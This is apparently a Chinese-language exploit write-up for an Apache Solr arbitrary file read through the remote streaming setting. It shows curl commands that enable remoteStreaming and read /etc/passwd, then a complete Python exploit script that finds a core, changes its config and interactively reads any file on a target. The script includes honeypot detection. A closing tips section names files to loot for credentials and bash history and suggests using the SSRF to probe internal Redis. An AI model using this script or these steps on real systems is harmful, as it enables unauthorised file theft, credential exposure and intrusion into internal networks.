下载Solr

cd solr-8.8.1/bin
./solr start -p 8989

然后add core

cd /solr-8.8.1/server/solr/
mkdir newcore
复制 /solr-8.8.1/server/solr/configsets/_default的conf文件夹进入刚才创建的newcore文件夹
网页上点击Add Core
image-20210318212131855

获得core名字

http://127.0.0.1:8989/solr/admin/cores?action=STATUS

打开 remote streaming

curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://127.0.0.1:8989/solr/newcore/config -H 'Content-type:application/json' 

进行文件读取

curl "http://127.0.0.1:8989/solr/newcore/debug/dump?param=ContentStreams" -F "stream.url=file:////etc/passwd" 
image-20210318212947515

Exp : https://github.com/sv3nbeast/Solr-file_read

image-20210318214215711
import requests
import sys,re,json
import threadpool
#from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings()

banner = '''
   _____       _        _____                _ 
  / ____|     | |      |  __ \              | |
 | (___   ___ | |_ __  | |__) |___  __ _  __| |
  \___ \ / _ \| | '__| |  _  // _ \/ _` |/ _` |
  ____) | (_) | | |    | | \ \  __/ (_| | (_| |
 |_____/ \___/|_|_|    |_|  \_\___|\__,_|\__,_|
                                               
                            by 斯文            
'''

def exp(url):

    try:
        dbName = getDb(url)
        
        if dbName:

            session = requests.Session()
            rawBody = "{  \"set-property\" : {\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}"
            headers = {"User-Agent":"hack by sskkaayy","Connection":"close","Content-type":"application/json","Accept":"*/*"}
            response = session.post("{}/solr/{}/config".format(url,dbName), data=rawBody, headers=headers)
            
            print(">Core: {}".format(dbName))

            while True:
                linux = File(url,dbName)
                try:
                    print('>result:\n')

                    if 'Permission' in str(linux):
                        print('Permission denied\n')
                        continue
                    if 'No such file or directory' in str(linux):
                        print('No such file or directory\n')
                        continue
                    linux = json.loads(linux)
                    if linux['streams']:
                        print(linux['streams'][0]['stream'])
                except:
                    r = re.compile('''<str name="stream">(.*?)</str>''')
                    Str = re.findall(r,str(linux))
                    res = Str[0].replace('\\n','\n')
                    print(res + '\n')


    except Exception as e:
        print(e)
        # print("Not vul")

def File(url,dbName):

    session = requests.Session()
    paramsGet = {"param":"ContentStreams"}
    path = input(">Path: ")
    paramsPost = {"stream.url":"file:///{}".format(path)}
    headers = {"User-Agent":"hack by sskkaayy","Connection":"close","Accept":"*/*"}
    response = session.post("{}/solr/{}/debug/dump".format(url,dbName), data=paramsPost, params=paramsGet, headers=headers)

    return response.content

def getDb(url):

    try:
        target = url + '/solr/admin/cores?action=STATUS'
        response = requests.get(target,verify=False,timeout=20)
        data = response.text
        if '关于全网部署360私有云的通知' in data:
            print('[- 蜜罐烦死啦!')
            return False

        try:
            r = re.compile('''"status":{
    "(.*?)":{''')
            Str = re.findall(r,str(data))
            dbName = Str[0]
        except:
            r = re.compile('''<str name="name">(.*?)</str>''')
            Str = re.findall(r,str(data))
            dbName = Str[0]

    except Exception as e:
        return False
    return dbName

if __name__ == "__main__":
    print(banner)
    exp(sys.argv[1])

Tips

# Solr 文件读取深度利用
- 第一个
{ 面板的-Djetty.home 路径}/solr/core名/conf/solrconfig.xml
结果搜 "config" 获得文件名字
- 第二个
/home/用户名/.bash_history
- 第三个
/opt/solr/server/solr/configsets/_default/conf/solrconfig.xml
结果搜 "config"  获得数据库账号密码
- 第四个
直接读目录可以把目录下的文件都显示出来,类似命令ls
- 第五个
此处支持SSRF,可考虑如何构造继续探测内网,比如redis

PS:

老版本回显是xml格式,新版本是json格式,部分检测工具是没有覆盖全,我的POC没有这种问题